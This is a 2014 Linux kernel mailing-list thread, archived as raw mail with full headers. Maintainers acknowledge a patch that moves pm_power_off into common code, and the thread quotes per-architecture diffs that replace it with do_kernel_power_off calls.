Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:44640 gmane.linux.kernel:1811305 gmane.linux.power-management.general:51375 gmane.linux.ports.alpha:2521 gmane.linux.ports.arm.kernel:365492 gmane.linux.ports.hexagon:867 gmane.linux.ports.ia64:24612 gmane.linux.ports.openrisc:602 gmane.linux.ports.m68k:6307 gmane.linux.kernel.metag:386 gmane.linux.ports.parisc:6184 gmane.linux.ports.ppc64.devel:106315 gmane.linux.ports.sh.devel:40047 gmane.linux.ports.sparc:20044 gmane.linux.uml.devel:14784 gmane.linux.uml.user:14738
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/44640>

On Mon, Oct 20, 2014 at 09:12:24PM -0700, Guenter Roeck wrote:

> pm_power_off is defined for all architectures. Move it to common code.
> 
> Have all architectures call do_kernel_power_off instead of pm_power_off.
> Some architectures point pm_power_off to machine_power_off. For those,
> call do_kernel_power_off from machine_power_off instead.
> 
> Acked-by: David Vrabel <david.vrabel@citrix.com>
> Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
> Acked-by: Hirokazu Takata <takata@linux-m32r.org>
> Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>
> Acked-by: Max Filippov <jcmvbkbc@gmail.com>
> Acked-by: Rafael J. Wysocki <rjw@rjwysocki.net>
> Acked-by: Richard Weinberger <richard@nod.at>
> Acked-by: Xuetao Guan <gxt@mprc.pku.edu.cn>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>

Acked-by: Ralf Baechle <ralf@linux-mips.org>



From - Thu Nov 08 21:10:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.openrisc,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: Re: [PATCH v2 08/47] kernel: Move pm_power_off to common code
Date: Wed, 22 Oct 2014 08:43:51 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20141022154351.GD26229@roeck-us.net>
References: <1413864783-3271-1-git-send-email-linux@roeck-us.net>
 <1413864783-3271-9-git-send-email-linux@roeck-us.net>
 <20141022153136.GA11045@linux-mips.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1413992663 16195 80.91.229.3 (22 Oct 2014 15:44:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Oct 2014 15:44:23 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-pm@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net, linux390@de.ibm.com,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux@openrisc.net,
	linux-m68k@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	sparclinux@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	user-mode-linux-user@lists.sourceforge.net, x86@kernel.org,
	xen-devel@lists.xenproject.org
To: Ralf Baechle <ralf@linux-mips.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 22 17:44:13 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Xgy54-0004ro-39
	for glk-linux-kernel-3@plane.gmane.org; Wed, 22 Oct 2014 17:44:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753850AbaJVPoF (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 22 Oct 2014 11:44:05 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:54393 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753115AbaJVPoC (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 22 Oct 2014 11:44:02 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=w1DMg7un8q+JkYLXgKsPTKS6r2oiysm/6R72AUcouRc=;
	b=0c4Hg8VaXx0w1AnqbpVZ/Zj/F8am8bzB5d4JyQ1OVOyvZH3HEmVNEZrOWEdBqdaaWC1ybFFMArjd3EpouE8Ep1uU41kcDxLzFVuGuht4dtyqzr70znV11I8cr8ndJYNqBBpsn14DePBdZvv+P5qvuVcWDopcexC7oGBcOQ2vQ3U=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1Xgy4v-002M9N-Jk
	for linux-kernel@vger.kernel.org; Wed, 22 Oct 2014 15:44:01 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:56320 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1Xgy4n-002M5L-LT; Wed, 22 Oct 2014 15:43:54 +0000
Content-Disposition: inline
In-Reply-To: <20141022153136.GA11045@linux-mips.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=2.5
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020201.5447D0C1.024A,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: C_4847,
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 3
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1811321 gmane.linux.power-management.general:51379 gmane.linux.ports.alpha:2522 gmane.linux.ports.arm.kernel:365498 gmane.linux.ports.hexagon:868 gmane.linux.ports.ia64:24613 gmane.linux.ports.openrisc:603 gmane.linux.ports.m68k:6308 gmane.linux.kernel.metag:387 gmane.linux.ports.mips.general:44642 gmane.linux.ports.parisc:6185 gmane.linux.ports.ppc64.devel:106316 gmane.linux.ports.sh.devel:40048 gmane.linux.ports.sparc:20045 gmane.linux.uml.devel:14785 gmane.linux.uml.user:14739

On Wed, Oct 22, 2014 at 05:31:36PM +0200, Ralf Baechle wrote:
> On Mon, Oct 20, 2014 at 09:12:24PM -0700, Guenter Roeck wrote:
> 
> > pm_power_off is defined for all architectures. Move it to common code.
> > 
> > Have all architectures call do_kernel_power_off instead of pm_power_off.
> > Some architectures point pm_power_off to machine_power_off. For those,
> > call do_kernel_power_off from machine_power_off instead.
> > 
> > Acked-by: David Vrabel <david.vrabel@citrix.com>
> > Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
> > Acked-by: Hirokazu Takata <takata@linux-m32r.org>
> > Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>
> > Acked-by: Max Filippov <jcmvbkbc@gmail.com>
> > Acked-by: Rafael J. Wysocki <rjw@rjwysocki.net>
> > Acked-by: Richard Weinberger <richard@nod.at>
> > Acked-by: Xuetao Guan <gxt@mprc.pku.edu.cn>
> > Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> 
> Acked-by: Ralf Baechle <ralf@linux-mips.org>

Thanks!

Guenter

From - Thu Nov 08 21:10:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Hogan <james.hogan@imgtec.com>
Newsgroups: gmane.linux.ports.openrisc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.uml.user,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 08/47] kernel: Move pm_power_off to common
	code
Date: Fri, 24 Oct 2014 10:47:03 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <544A2017.7020804@imgtec.com>
References: <1413864783-3271-1-git-send-email-linux@roeck-us.net>
	<1413864783-3271-9-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1414144041 1676 80.91.229.3 (24 Oct 2014 09:47:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Oct 2014 09:47:21 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
	linux@openrisc.net, sparclinux@vger.kernel.org,
	linux-s390@vger.kernel.org, linux-am33-list@redhat.com,
	linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org,
	x86@kernel.org, xen-devel@lists.xenproject.org,
	linux-xtensa@linux-xtensa.org, user-mode-linux-devel@lists.sourceforge.net,
	linux-pm@vger.kernel.org, adi-buildroot-devel@lists.sourceforge.net,
	user-mode-linux-user@lists.sourceforge.net, linux-metag@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	linux-parisc@vger.kernel.org, linux-cris-kernel@axis.com,
	linux-alpha@vger.kernel.org, linux390@de.ibm.com,
	linuxppc-dev@lists.ozlabs.org
To: Guenter Roeck <linux@roeck-us.net>, <linux-kernel@vger.kernel.org>
Original-X-From: linux-bounces@lists.openrisc.net Fri Oct 24 11:47:13 2014
Return-path: <linux-bounces@lists.openrisc.net>
Envelope-to: glpo-linux@m.gmane.org
Original-Received: from openrisc.net ([37.247.8.39])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-bounces@lists.openrisc.net>)
	id 1XhbSd-00069l-S9
	for glpo-linux@m.gmane.org; Fri, 24 Oct 2014 11:47:07 +0200
Original-Received: from openrisc.net (localhost [127.0.0.1])
	by openrisc.net (Postfix) with ESMTP id 78ACF160D36;
	Fri, 24 Oct 2014 11:47:07 +0200 (CEST)
X-Original-To: linux@openrisc.net
Delivered-To: linux@openrisc.net
Original-Received: from mailapp01.imgtec.com (mailapp01.imgtec.com [195.59.15.196])
	by openrisc.net (Postfix) with ESMTP id BD8CE160CEB
	for <linux@openrisc.net>; Fri, 24 Oct 2014 11:47:06 +0200 (CEST)
Original-Received: from KLMAIL01.kl.imgtec.org (unknown [192.168.5.35])
	by Websense Email Security Gateway with ESMTPS id 8A2C1183402BF;
	Fri, 24 Oct 2014 10:47:02 +0100 (IST)
Original-Received: from KLMAIL02.kl.imgtec.org (10.40.60.222) by KLMAIL01.kl.imgtec.org
	(192.168.5.35) with Microsoft SMTP Server (TLS) id 14.3.195.1;
	Fri, 24 Oct 2014 10:47:04 +0100
Original-Received: from LEMAIL01.le.imgtec.org (192.168.152.62) by
	klmail02.kl.imgtec.org (10.40.60.222) with Microsoft SMTP Server (TLS)
	id 14.3.195.1; Fri, 24 Oct 2014 10:47:04 +0100
Original-Received: from [192.168.154.101] (192.168.154.101) by LEMAIL01.le.imgtec.org
	(192.168.152.62) with Microsoft SMTP Server (TLS) id 14.3.195.1;
	Fri, 24 Oct 2014 10:47:03 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64;
	rv:24.0) Gecko/20100101 Thunderbird/24.8.0
In-Reply-To: <1413864783-3271-9-git-send-email-linux@roeck-us.net>
X-Enigmail-Version: 1.6
X-Originating-IP: [192.168.154.101]
X-BeenThere: linux@lists.openrisc.net
X-Mailman-Version: 2.1.13
Precedence: list
List-Id: OpenRISC Linux <linux.lists.openrisc.net>
List-Unsubscribe: <http://lists.openrisc.net/options/linux>,
	<mailto:linux-request@lists.openrisc.net?subject=unsubscribe>
List-Archive: <http://lists.openrisc.net/pipermail/linux>
List-Post: <mailto:linux@lists.openrisc.net>
List-Help: <mailto:linux-request@lists.openrisc.net?subject=help>
List-Subscribe: <http://lists.openrisc.net/listinfo/linux>,
	<mailto:linux-request@lists.openrisc.net?subject=subscribe>
Original-Sender: linux-bounces@lists.openrisc.net
Errors-To: linux-bounces@lists.openrisc.net
Xref: news.gmane.org gmane.linux.ports.openrisc:604 gmane.linux.kernel:1812720 gmane.linux.ports.mips.general:44701 gmane.linux.ports.m68k:6310 gmane.linux.ports.ia64:24628 gmane.linux.ports.sh.devel:40127 gmane.linux.ports.sparc:20070 gmane.linux.ports.hexagon:869 gmane.linux.uml.devel:14789 gmane.linux.power-management.general:51506 gmane.linux.uml.user:14741 gmane.linux.kernel.metag:388 gmane.linux.ports.arm.kernel:365987 gmane.linux.ports.parisc:6187 gmane.linux.ports.alpha:2524 gmane.linux.ports.ppc64.devel:106351
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.openrisc/604>

Hi Guenter,

On 21/10/14 05:12, Guenter Roeck wrote:
> pm_power_off is defined for all architectures. Move it to common code.
> 
> Have all architectures call do_kernel_power_off instead of pm_power_off.
> Some architectures point pm_power_off to machine_power_off. For those,
> call do_kernel_power_off from machine_power_off instead.
> 
> Acked-by: David Vrabel <david.vrabel@citrix.com>
> Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
> Acked-by: Hirokazu Takata <takata@linux-m32r.org>
> Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>
> Acked-by: Max Filippov <jcmvbkbc@gmail.com>
> Acked-by: Rafael J. Wysocki <rjw@rjwysocki.net>
> Acked-by: Richard Weinberger <richard@nod.at>
> Acked-by: Xuetao Guan <gxt@mprc.pku.edu.cn>

For metag:
Acked-by: James Hogan <james.hogan@imgtec.com>

Thanks
James

> diff --git a/arch/metag/kernel/process.c b/arch/metag/kernel/process.c
> index 483dff9..8d95773 100644
> --- a/arch/metag/kernel/process.c
> +++ b/arch/metag/kernel/process.c
> @@ -67,9 +67,6 @@ void arch_cpu_idle_dead(void)
>  }
>  #endif
>  
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
>  void (*soc_restart)(char *cmd);
>  void (*soc_halt)(void);
>  
> @@ -90,8 +87,7 @@ void machine_halt(void)
>  
>  void machine_power_off(void)
>  {
> -	if (pm_power_off)
> -		pm_power_off();
> +	do_kernel_power_off();
>  	smp_send_stop();
>  	hard_processor_halt(HALT_OK);
>  }

From - Thu Nov 08 21:10:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lennox Wu <lennox.wu@gmail.com>
Newsgroups: gmane.linux.power-management.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.openrisc,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: Re: [PATCH v2 08/47] kernel: Move pm_power_off to common code
Date: Fri, 24 Oct 2014 18:03:25 +0800
Lines: 894
Approved: news@gmane.org
Message-ID: <CAF0htA6Rj_Gk0p19r0sE69mUnSgq26jzPvKtqyYUDFyhOdc_9A@mail.gmail.com>
References: <1413864783-3271-1-git-send-email-linux@roeck-us.net>
	<1413864783-3271-9-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1414145021 17629 80.91.229.3 (24 Oct 2014 10:03:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Oct 2014 10:03:41 +0000 (UTC)
Cc: open list <linux-kernel@vger.kernel.org>, linux-pm@vger.kernel.org,
	"adi-buildroot-devel@lists.sourceforge.net" 
	<adi-buildroot-devel@lists.sourceforge.net>,
	"linux390@de.ibm.com" <linux390@de.ibm.com>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-am33-list@redhat.com" <linux-am33-list@redhat.com>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	"linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
	"linux-cris-kernel@axis.com" <linux-cris-kernel@axis.com>,
	"linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux@lists.openrisc.net" <linux@lists.openrisc.net>,
	"linux-m68k@lists.linux-m68k.org" <linux-m68k@lists.linux-m68k.org>,
	"linux-metag@vger.kernel.org" <linux-metag@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mip
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-pm-owner@vger.kernel.org Fri Oct 24 12:03:33 2014
Return-path: <linux-pm-owner@vger.kernel.org>
Envelope-to: gll-linux-pm2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pm-owner@vger.kernel.org>)
	id 1XhbiV-0004Zi-SG
	for gll-linux-pm2@plane.gmane.org; Fri, 24 Oct 2014 12:03:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932164AbaJXKD2 (ORCPT <rfc822;gll-linux-pm2@m.gmane.org>);
	Fri, 24 Oct 2014 06:03:28 -0400
Original-Received: from mail-yh0-f54.google.com ([209.85.213.54]:63752 "EHLO
	mail-yh0-f54.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932181AbaJXKD0 (ORCPT
	<rfc822;linux-pm@vger.kernel.org>); Fri, 24 Oct 2014 06:03:26 -0400
Original-Received: by mail-yh0-f54.google.com with SMTP id 29so121688yhl.27
        for <linux-pm@vger.kernel.org>; Fri, 24 Oct 2014 03:03:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:cc
         :content-type;
        bh=xAwJazc7nwqa3sdqGB8gPQoRizZGdTu+jk2VXt3pNXg=;
        b=lngOztayNBY81IKe55o4Dbplo3mS3btX5jqORLUA4NF5Bx/bHDCTDMTB4eYsck9Vwo
         2qvLfsst3LIdcUl/0Ou6g069xmxef9GSISOOanGiCElzVwx1VW85KUyyd2j4droYLZjW
         PZKkACLaGngGn6TEe3Mj7wkYcXl2DONic0dCnjeUOHs2LO+8Ym4QjvBQdulOdwHTOkOf
         fmX6iKF4BjmGYi1GM3isWYQhxww8LRplXNvNT2nqS5Tzm6yiXZCOfegIkocMwRSlSshD
         bSAw7p2AORtsz7Jko6T2x1WsJlB3RXRcGIAdM1ih60YQtCPaLR/nL7M0ppup/iCLTU14
         ihBg==
X-Received: by 10.170.160.9 with SMTP id b9mt4619000ykd.50.1414145005460; Fri,
 24 Oct 2014 03:03:25 -0700 (PDT)
Original-Received: by 10.221.26.200 with HTTP; Fri, 24 Oct 2014 03:03:25 -0700 (PDT)
In-Reply-To: <1413864783-3271-9-git-send-email-linux@roeck-us.net>
Original-Sender: linux-pm-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pm.vger.kernel.org>
X-Mailing-List: linux-pm@vger.kernel.org
Xref: news.gmane.org gmane.linux.power-management.general:51509 gmane.linux.kernel:1812727 gmane.linux.ports.alpha:2525 gmane.linux.ports.arm.kernel:365997 gmane.linux.ports.hexagon:870 gmane.linux.ports.ia64:24629 gmane.linux.ports.openrisc:605 gmane.linux.kernel.metag:389 gmane.linux.ports.mips.general:44702 gmane.linux.ports.parisc:6188 gmane.linux.ports.ppc64.devel:106353 gmane.linux.ports.sh.devel:40130 gmane.linux.ports.sparc:20071 gmane.linux.uml.devel:14790 gmane.linux.uml.user:14742
Archived-At: <http://permalink.gmane.org/gmane.linux.power-management.general/51509>

Acked-by: Lennox Wu <lennox.wu@gmail.com>

2014-10-21 12:12 GMT+08:00 Guenter Roeck <linux@roeck-us.net>:
> pm_power_off is defined for all architectures. Move it to common code.
>
> Have all architectures call do_kernel_power_off instead of pm_power_off.
> Some architectures point pm_power_off to machine_power_off. For those,
> call do_kernel_power_off from machine_power_off instead.
>
> Acked-by: David Vrabel <david.vrabel@citrix.com>
> Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
> Acked-by: Hirokazu Takata <takata@linux-m32r.org>
> Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>
> Acked-by: Max Filippov <jcmvbkbc@gmail.com>
> Acked-by: Rafael J. Wysocki <rjw@rjwysocki.net>
> Acked-by: Richard Weinberger <richard@nod.at>
> Acked-by: Xuetao Guan <gxt@mprc.pku.edu.cn>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> ---
> v2:
> - do_kernel_poweroff -> do_kernel_power_off
> - have_kernel_poweroff -> have_kernel_power_off
>
>  arch/alpha/kernel/process.c        |  9 +++------
>  arch/arc/kernel/reset.c            |  5 +----
>  arch/arm/kernel/process.c          |  5 +----
>  arch/arm64/kernel/process.c        |  5 +----
>  arch/avr32/kernel/process.c        |  6 +-----
>  arch/blackfin/kernel/process.c     |  3 ---
>  arch/blackfin/kernel/reboot.c      |  2 ++
>  arch/c6x/kernel/process.c          |  9 +--------
>  arch/cris/kernel/process.c         |  4 +---
>  arch/frv/kernel/process.c          |  5 ++---
>  arch/hexagon/kernel/reset.c        |  5 ++---
>  arch/ia64/kernel/process.c         |  5 +----
>  arch/m32r/kernel/process.c         |  8 ++++----
>  arch/m68k/kernel/process.c         |  6 +-----
>  arch/metag/kernel/process.c        |  6 +-----
>  arch/microblaze/kernel/process.c   |  3 ---
>  arch/microblaze/kernel/reset.c     |  1 +
>  arch/mips/kernel/reset.c           |  6 +-----
>  arch/mn10300/kernel/process.c      |  8 ++------
>  arch/openrisc/kernel/process.c     |  8 +++++---
>  arch/parisc/kernel/process.c       |  8 ++++----
>  arch/powerpc/kernel/setup-common.c |  6 +++---
>  arch/s390/kernel/setup.c           |  8 ++------
>  arch/score/kernel/process.c        |  8 ++++----
>  arch/sh/kernel/reboot.c            |  6 +-----
>  arch/sparc/kernel/process_32.c     | 10 ++--------
>  arch/sparc/kernel/reboot.c         |  8 ++------
>  arch/tile/kernel/reboot.c          |  7 +++----
>  arch/um/kernel/reboot.c            |  2 --
>  arch/unicore32/kernel/process.c    |  9 +--------
>  arch/x86/kernel/reboot.c           | 11 +++--------
>  arch/x86/xen/enlighten.c           |  3 +--
>  arch/xtensa/kernel/process.c       |  4 ----
>  drivers/parisc/power.c             |  3 +--
>  kernel/power/poweroff_handler.c    |  8 ++++++++
>  kernel/reboot.c                    |  4 ++--
>  36 files changed, 68 insertions(+), 146 deletions(-)
>
> diff --git a/arch/alpha/kernel/process.c b/arch/alpha/kernel/process.c
> index 1941a07..81c43f8 100644
> --- a/arch/alpha/kernel/process.c
> +++ b/arch/alpha/kernel/process.c
> @@ -24,6 +24,7 @@
>  #include <linux/vt.h>
>  #include <linux/mman.h>
>  #include <linux/elfcore.h>
> +#include <linux/pm.h>
>  #include <linux/reboot.h>
>  #include <linux/tty.h>
>  #include <linux/console.h>
> @@ -40,12 +41,6 @@
>  #include "proto.h"
>  #include "pci_impl.h"
>
> -/*
> - * Power off function, if any
> - */
> -void (*pm_power_off)(void) = machine_power_off;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  #ifdef CONFIG_ALPHA_WTINT
>  /*
>   * Sleep the CPU.
> @@ -184,6 +179,8 @@ machine_halt(void)
>  void
>  machine_power_off(void)
>  {
> +       do_kernel_power_off();
> +
>         common_shutdown(LINUX_REBOOT_CMD_POWER_OFF, NULL);
>  }
>
> diff --git a/arch/arc/kernel/reset.c b/arch/arc/kernel/reset.c
> index 2768fa1..0758d9d 100644
> --- a/arch/arc/kernel/reset.c
> +++ b/arch/arc/kernel/reset.c
> @@ -26,9 +26,6 @@ void machine_restart(char *__unused)
>
>  void machine_power_off(void)
>  {
> -       /* FIXME ::  power off ??? */
> +       do_kernel_power_off();
>         machine_halt();
>  }
> -
> -void (*pm_power_off) (void) = NULL;
> -EXPORT_SYMBOL(pm_power_off);
> diff --git a/arch/arm/kernel/process.c b/arch/arm/kernel/process.c
> index fe972a2..aa3f656 100644
> --- a/arch/arm/kernel/process.c
> +++ b/arch/arm/kernel/process.c
> @@ -117,8 +117,6 @@ void soft_restart(unsigned long addr)
>  /*
>   * Function pointers to optional machine specific functions
>   */
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
>
>  void (*arm_pm_restart)(enum reboot_mode reboot_mode, const char *cmd);
>
> @@ -205,8 +203,7 @@ void machine_power_off(void)
>         local_irq_disable();
>         smp_send_stop();
>
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>  }
>
>  /*
> diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c
> index c3065db..46a483a 100644
> --- a/arch/arm64/kernel/process.c
> +++ b/arch/arm64/kernel/process.c
> @@ -68,8 +68,6 @@ void soft_restart(unsigned long addr)
>  /*
>   * Function pointers to optional machine specific functions
>   */
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL_GPL(pm_power_off);
>
>  void (*arm_pm_restart)(enum reboot_mode reboot_mode, const char *cmd);
>
> @@ -129,8 +127,7 @@ void machine_power_off(void)
>  {
>         local_irq_disable();
>         smp_send_stop();
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>  }
>
>  /*
> diff --git a/arch/avr32/kernel/process.c b/arch/avr32/kernel/process.c
> index 42a53e74..529c1f6 100644
> --- a/arch/avr32/kernel/process.c
> +++ b/arch/avr32/kernel/process.c
> @@ -23,9 +23,6 @@
>
>  #include <mach/pm.h>
>
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
>  /*
>   * This file handles the architecture-dependent parts of process handling..
>   */
> @@ -48,8 +45,7 @@ void machine_halt(void)
>
>  void machine_power_off(void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>  }
>
>  void machine_restart(char *cmd)
> diff --git a/arch/blackfin/kernel/process.c b/arch/blackfin/kernel/process.c
> index 4aa5545..812dd83 100644
> --- a/arch/blackfin/kernel/process.c
> +++ b/arch/blackfin/kernel/process.c
> @@ -39,9 +39,6 @@ int nr_l1stack_tasks;
>  void *l1_stack_base;
>  unsigned long l1_stack_len;
>
> -void (*pm_power_off)(void) = NULL;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  /*
>   * The idle loop on BFIN
>   */
